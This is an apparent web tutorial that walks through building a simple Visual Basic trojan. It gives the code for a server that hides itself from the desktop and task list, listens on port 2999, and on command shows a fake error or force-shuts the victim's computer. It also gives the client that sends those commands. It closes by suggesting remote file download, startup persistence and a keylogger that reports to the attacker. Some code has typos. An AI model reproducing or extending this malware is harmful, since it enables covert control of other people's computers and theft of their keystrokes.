A simple trojan tutorial Vb


Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code.
The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go
through what you need for both and some sample code.



Server


The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it.
To do this you start by using


CODE C Language
1Private Sub Form_Load()
2     Me.Visible = False
3End Sub


This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier.
So to get our application hidden from that a little better we make our code look like this.

CODE C Language
1Private Sub Form_Load()
2     Me.Visible = False
3     App.TaskVisible = False
4End Sub


(Due to Bill gates, all running exe's will be displayed in the list of running processes. Your app will be hidden in the Running Applications List though :D )

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this
tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control.
I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.


CODE C Language
1Private Sub Form_Load()
2     Me.Visible = False
3     App.TaskVisible = False
4     win.LocalPort = 2999
5     win.RemotePort = 455
6     win.Listen
7End Sub


This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat.    


Then we add this code to our main form:

CODE C Language
1Private Sub win_ConnectionRequest(ByVal requestID As Long)
2     win.Close
3     win.Accept requestID
4End Sub
5
6Private Sub win_DataArrival(ByVal bytesTotal As Long)
7    win.GetData GotDat
8    DoActions (GotDat)
9End Sub



We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. (Public so it can be used by code outside of the Module) So add this code to the module and we are about done with the server
of the Trojan!

CODE C Language
01Public Function DoActions(x As String)
02
03Select Case x
04        Case "msgbox"
05             Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
06
07        Case "shutdown"
08             shell "shutdown -s -f -t 00"
09End Select
10End Function


Ok now we have a program that when the data “Msgbox” is sent to it on port 2999 it will display a msgbox on the victims computer. When the data "shutdown" is sent to it on port 2999 it will shutdown the computer. I used a Select Case statement so it is easy to modify this code to your own needs later on.

Congradulations! You just made your first Trojan. Lets go over the complete code now.

Main Form

CODE C Language
01                   
02Private Sub Form_Load()
03     Me.Visible = False
04     App.TaskVisible = False
05     win.LocalPort = 2999
06     win.RemotePort = 455
07     win.Listen
08End Sub
09
10Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
11     win.Close
12     win.Accept requestID
13End Sub
14
15Private Sub win_DataArrival(ByVal bytesTotal As Long)
16     win.GetData GotDat
17     DoActions (GotDat)
18End Sub


Remember to add your winsock control and name it to win if you use this code.



Module

CODE C Language
01Public Function DoActions(x As String)
02
03Select Case x
04        Case "msgbox"
05             Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
06
07        Case "shutdown"
08             shell "shutdown -s -f -t 00"
09End Select
10End Function


That’s all there is to the server side or Trojan part of it. Now on to the Client.


Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server
that accepts the command of “shutdown” and "msgbox" lets make a client that sends the command “shutdown” and "msgbox".

Make a form and add a Winsock Control, a text box, and 4 buttons. The Text box should be named txtIP if you want it to work with this code.
In addition, your buttons should be named cmdConnect, cmdMsgbox, cmdShutdown,  and cmdDisconnect. Now lets look at the code we would use to make our
Client.

CODE C Language
01Private Sub cmdConnect_Click()
02     IpAddy = txtIp.Text
03     Win.Close
04     Win.RemotePort = 2999
05     Win.RemoteHost = IpAddy
06     Win.LocalPort = 9999
07     Win.Connect
08     cmdConnect.Enabled = False
09End Sub
10
11Private Sub cmdDisconnect_Click()
12     Win.Close
13     cmdConnect.Enabled = True
14End Sub
15            
16Private Sub cmdMsgbox_Click()
17     Win.SendData "msgbox"
18End Sub
19
20Private Sub cmdShutdown_Click()
21     Win.SendData "shutdown"
22End Sub


That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send
the “shutdown” or "msgbox" data to the server and the respective actions will be carried out (shutdown computer or display a msgbox)

These two programs do very little but can quickly evolve into a powerful remote administration tool if you know what you are doing. I suggest trying
to add different types of error handeling and functions to both the server and client.

Ideas:

Make the server able to download a file specified by the attacker

Add code to make the Server be executed at startup. (Its a registry key)

Add a keylogger to the server - make it send the log to the attacker. There are loads more things you could do, just use your imagination.  :D

I have made the Batch Trojan!!!!

Recent Posts

comments powered by Disqus